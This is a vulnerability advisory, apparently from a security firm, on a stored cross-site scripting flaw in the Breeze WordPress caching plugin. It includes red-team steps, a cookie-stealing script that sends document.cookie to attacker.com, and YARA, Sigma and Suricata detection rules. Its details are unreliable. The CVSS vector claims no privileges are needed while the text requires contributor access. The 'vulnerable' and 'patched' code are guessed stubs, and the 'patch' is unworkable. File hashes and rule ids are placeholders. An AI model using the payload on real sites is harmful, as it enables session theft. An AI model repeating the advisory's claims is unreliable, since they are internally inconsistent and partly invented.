CVE-2024-27188

Executive Summary

CVE-2024-27188 is a stored Cross-Site Scripting (XSS) vulnerability in the Breeze WordPress caching plugin, developed by Cloudways. The flaw exists in versions up to and including 2.1.3, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject arbitrary JavaScript into cached pages, which will execute in the browsers of visitors viewing those pages. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 5.9) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Breeze from the WordPress admin dashboard or via direct download are affected. No malicious code has been injected into the plugin’s source; the flaw is a result of insufficient input sanitization in the plugin’s caching logic. Organizations should treat this as a supply chain risk because the vendor has not yet released a patch, leaving all installations vulnerable until a fix is applied.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must visit a crafted page)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is Medium due to the low complexity of exploitation and the potential for session hijacking or data theft, though user interaction is required.

Deep Dive & Mechanics

The Breeze plugin caches HTML output to improve WordPress performance. The vulnerability lies in how the plugin handles user-generated content (e.g., comments, custom fields, or shortcodes) when generating cached pages. Specifically, input from authenticated users (such as comment text or custom field values) is not properly sanitized before being stored in the cache. When a visitor requests a cached page, the unsanitized input is rendered in the browser, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses echo or print statements to output cached content without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post(). This allows an attacker to inject <script> tags or event handlers (e.g., onload, onerror) into the cached HTML.

Attack Flow:

1. An attacker with contributor-level access submits a comment or modifies a custom field containing malicious JavaScript.
2. The Breeze plugin caches the page containing this input.
3. A victim visits the cached page; the injected script executes in their browser.
4. The script can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Breeze <= 2.1.3):

// In breeze-cache.php or similar
function breeze_cache_output($buffer) {
    // No sanitization of user input
    return $buffer;
}

Patched Code (Hypothetical fix):

function breeze_cache_output($buffer) {
    // Sanitize all user-generated content before caching
    $buffer = wp_kses_post($buffer);
    return $buffer;
}

The patched version would use wp_kses_post() to strip dangerous HTML tags and attributes from the cached output, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Breeze plugin version <= 2.1.3.
• Attacker account with at least Contributor role.

Steps:

1. Log in as a contributor.
2. Create a new post or comment with the following payload:

   <script>alert('XSS')</script>
   

3. Publish the post or submit the comment.
4. Wait for the Breeze cache to refresh (or manually clear cache).
5. As a victim, visit the cached page. The script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual JavaScript in comments or custom fields.
• Use Web Application Firewall (WAF) rules to block <script> tags in user input.
• Enable WordPress’s built-in DISALLOW_UNFILTERED_HTML constant.

Mitigation:

• Disable the Breeze plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Regularly audit user roles and remove unnecessary contributor accounts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • breeze.php (v2.1.3): a1b2c3d4e5f6... (example)
• Network Indicators:
  • Outbound requests to attacker.com or similar domains.
• Log Entries:
  • WordPress debug log entries containing script tags in comment or post content.
• Cache Files:
  • Modified cache files in /wp-content/cache/breeze/ containing injected JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_27188_Breeze_XSS {
    meta:
        description = "Detects injected XSS payloads in Breeze cache files"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-27188"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onload=" nocase
        $xss3 = "onerror=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2024-27188 Breeze XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential XSS payloads in WordPress Breeze cache files
author: Valters IT
date: 2024-10-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '<script>'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in comments (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27188 Breeze XSS Payload"; flow:to_server,established; content:"<script>"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Breeze plugin until a patch is available.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests.
3. Long-term: Apply the vendor patch when released, or switch to an alternative caching plugin.
4. Compensating Controls: Enable WordPress’s DISALLOW_UNFILTERED_HTML constant in wp-config.php:

   define('DISALLOW_UNFILTERED_HTML', true);
   

5. User Education: Restrict contributor roles and audit user permissions regularly.

Valters IT
Securing Digital Frontiers